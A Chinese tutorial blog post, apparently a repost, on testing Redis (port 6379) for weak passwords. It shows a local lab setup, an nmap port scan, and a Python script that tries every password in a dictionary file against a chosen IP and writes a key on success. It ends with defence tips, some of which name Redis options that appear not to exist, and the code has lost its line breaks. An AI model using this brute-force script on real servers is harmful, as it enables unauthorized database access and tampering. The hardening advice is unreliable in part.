当前位置: 首页 > news >正文

Python 渗透测试:Redis 数据库 弱密码测试.(6379端口)

什么是 Redis 数据库

Redis (Remote Dictionary Server) 是一个开源的、内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件。它支持多种类型的数据结构,如字符串(strings)、哈希(hashes)、列表(lists)、集合(sets)、有序集合(sorted sets)等,并且能够对这些数据结构进行高级操作。Redis 数据库爆破是指利用暴力破解的方式尝试获取 Redis 数据库的访问权限。


目录:

什么是 Redis 数据库

Python 编写渗透测试基础:

Redis 数据库弱密码测试的原理主要包括以下几个方面:

环境的搭建:

(1)在 Redis 数据库的目录下,找到  redis.windows.conf 这个文件.

(2)查找登录的密码.

(3)打开 Redis 数据库.

(4)测试连接看.

Redis 数据库 弱密码测试:

(1)端口扫描查看是否 存在 6379 端口的开放.

(2)Redis 数据库 弱密码测试:

防范 Redis 数据库遭受弱密码的攻击,可以从以下几个方面着手:


Python 编写渗透测试基础:

(1)漏洞发现和利用走的是什么协议.(2)编写难度是根据协议和探针利用复现复杂程度决定的.例如:mysql类型的漏洞复现漏洞 大部分都是在mysql里面进行python写这个漏洞利用 是不是也要用到mysql的库来进行连接 后续操作 复现一致

Redis 数据库弱密码测试的原理主要包括以下几个方面:

(1)未授权访问某些 Redis 实例在部署时未设置密码访问控制,导致任何人都可以通过默认端口访问和操作数据库。攻击者可以直接连接到这些 Redis 实例并执行各种操作。(2)弱密码如果 Redis 密码设置得过于简单,攻击者可以使用字典攻击或暴力破解的方式来猜测密码。这种方式需要大量的计算资源和时间,但仍然可能成功。(3)已知漏洞利用如果 Redis 存在已知的安全漏洞,攻击者可以利用这些漏洞直接获取 Redis 的访问权限,而不需要密码。这类漏洞通常会被安全研究人员发现并公开,需要及时修复。(4)密码泄露如果 Redis 密码被泄露,攻击者就可以直接使用这些密码登录 Redis 实例。密码泄露可能是由于系统管理员失误、内部人员泄露或者其他原因导致的。(5)暴力破解攻击者可以使用自动化工具,生成各种可能的密码组合,逐个尝试登录 Redis 实例。这种方式需要大量的计算资源和时间,但如果密码足够简单,仍然可能成功。

环境的搭建:

(1)在 Redis 数据库的目录下,找到  redis.windows.conf 这个文件.

(2)查找登录的密码.

requirepass


(3)打开 Redis 数据库.

redis-server.exe redis.windows.conf


(4)测试连接看.

redis-cli.exe            # 在目录下执行这个


Redis 数据库 弱密码测试:

(1)端口扫描查看是否 存在 6379 端口的开放.

nmap 172.16.10.12 -p  6379


(2)Redis 数据库 弱密码测试:

redis服务默认端口:6379redis:远程登录不需要账号,只要密码            !!!!!(所以在编写的时候不用编写账号.)(.py文件不能库的文件一样)
#导入 redis 和 os 模块,分别用于连接 Redis 服务器和获取操作系统相关信息
import redis,os         # 定义一个名为 redis_check 的函数,接受两个参数:ip 和 password(因为他不用账号,所以不需要传账号.)
def redis_check(ip,password):# 打印当前正在检查的 IP 和密码组合print('check->' + ip + '|' + password)try:                                         # 做容错(就是如果正确则进行下面的)# 尝试使用给定的 IP 和密码连接 Redis 服务器redis_conn = redis.Redis(host=ip, port=6379, password=password, db=0)# 如果连接成功,设置一个名为 test 的键,值为 'bgxg'redis_conn.set('test', 'bgxg111')print('登录成功')# 退出exit()except Exception as e:              # 如果连接失败print("登录失败")# 这是 Python 的标准写法,确保只有在脚本作为主程序运行时,下面的代码才会执行。
if __name__ == '__main__':# 获取当前工作目录pypath = os.getcwd() ip = input('请输入你要爆破的 Redis 数据库的 IP 地址:')# 注意修改字典所在目录for password in open(pypath + '//dic_password_redis.txt'):# 对于每一行,它会去掉行末的换行符 "\n",并将其替换为空格 ""(里面不要加空格)password = password.replace('\n', '')  # 传递了二个参数,上面对接.redis_check(ip, password)               


防范 Redis 数据库遭受弱密码的攻击,可以从以下几个方面着手:

(1)设置强密码确保 Redis 实例设置了复杂度较高的密码,不要使用简单的单词或数字组合。建议密码长度在 12 个字符以上,包含大小写字母、数字和特殊字符。(2)开启访问控制启用 Redis 的访问控制功能,只允许指定的 IP 地址或网段访问 Redis 实例。可以使用 Redis 的 bind 和 protected-mode 配置项来实现。(3)限制登录尝试次数配置 Redis 的 maxfailures 和 authrequired 选项,限制客户端登录尝试的次数,超过限制后会暂时禁止该客户端的连接。这可以有效防御暴力破解攻击。(4)开启日志记录启用 Redis 的日志记录功能,记录所有客户端的访问情况。可以通过分析日志发现异常登录行为,并及时采取措施。(5)及时修复漏洞密切关注 Redis 的安全公告,及时修复已知的安全漏洞。这可以避免攻击者利用漏洞直接获取 Redis 实例的访问权限。(6)网络隔离将 Redis 实例部署在内网环境,并通过负载均衡或反向代理的方式对外提供服务。这可以隔离 Redis 实例与外部网络的直接访问。(7)数据备份定期备份 Redis 数据库的内容,以便在发生安全事故时能够快速恢复数据。(8)监控预警设置监控系统,实时监控 Redis 实例的运行状态和访问情况,及时发现异常并预警。

   

   

    

学习链接:第159天:安全开发-Python-协议库爆破&FTP&SSH&Redis&SMTP&MYSQL等_哔哩哔哩_bilibili

相关文章:

  • python-数据分析与可视化基础
  • 已有yarn集群部署spark
  • hot100 -- 回溯(上)
  • 利用Python去除PDF水印
  • 前端基础入门三大核心之HTML篇:深入理解重绘与重排 —— 概念、区别与实战演练
  • vue 纵向滚动菜单, 点击滚动到选中菜单
  • 【项目托管git】本地项目托管到 Gitee
  • 机器学习-决策树算法
  • IDEA连接MySQL后如何管理数据库
  • JavaSE——类和对象(二)~~封装
  • 光耦合器的特性和应用概述
  • Mac电脑太卡了怎么办 Mac电脑常见问题 cleanmymacX有必要买吗
  • tensorflow下载
  • 编一个自己的万年历
  • 接口使用实例——数组排序
  • 【跃迁之路】【669天】程序员高效学习方法论探索系列(实验阶段426-2018.12.13)...
  • CSS3 变换
  • JDK9: 集成 Jshell 和 Maven 项目.
  • Linux后台研发超实用命令总结
  • Mac 鼠须管 Rime 输入法 安装五笔输入法 教程
  • maya建模与骨骼动画快速实现人工鱼
  • mysql_config not found
  • Python 基础起步 (十) 什么叫函数?
  • Shadow DOM 内部构造及如何构建独立组件
  • ucore操作系统实验笔记 - 重新理解中断
  • 从0实现一个tiny react(三)生命周期
  • 从PHP迁移至Golang - 基础篇
  • (31)对象的克隆
  • (Bean工厂的后处理器入门)学习Spring的第七天
  • (delphi11最新学习资料) Object Pascal 学习笔记---第7章第3节(封装和窗体)
  • (Java岗)秋招打卡!一本学历拿下美团、阿里、快手、米哈游offer
  • (poj1.3.2)1791(构造法模拟)
  • (pojstep1.1.2)2654(直叙式模拟)
  • (zhuan) 一些RL的文献(及笔记)
  • (附源码)ssm智慧社区管理系统 毕业设计 101635
  • (六)vue-router+UI组件库
  • (提供数据集下载)基于大语言模型LangChain与ChatGLM3-6B本地知识库调优:数据集优化、参数调整、Prompt提示词优化实战
  • (转)eclipse内存溢出设置 -Xms212m -Xmx804m -XX:PermSize=250M -XX:MaxPermSize=356m
  • (转)使用VMware vSphere标准交换机设置网络连接
  • (轉貼) VS2005 快捷键 (初級) (.NET) (Visual Studio)
  • .net CHARTING图表控件下载地址
  • .NET Core 实现 Redis 批量查询指定格式的Key
  • .NET Standard 支持的 .NET Framework 和 .NET Core
  • .Net 路由处理厉害了
  • .net 前台table如何加一列下拉框_如何用Word编辑参考文献
  • .net 使用$.ajax实现从前台调用后台方法(包含静态方法和非静态方法调用)
  • .net快速开发框架源码分享
  • .NET学习教程二——.net基础定义+VS常用设置
  • @for /l %i in (1,1,10) do md %i 批处理自动建立目录
  • @TableLogic注解说明,以及对增删改查的影响
  • @Value获取值和@ConfigurationProperties获取值用法及比较(springboot)
  • @WebServiceClient注解,wsdlLocation 可配置
  • [AS3]URLLoader+URLRequest+JPGEncoder实现BitmapData图片数据保存
  • [C#]使用C#部署yolov8的目标检测tensorrt模型
  • [codeforces]Recover the String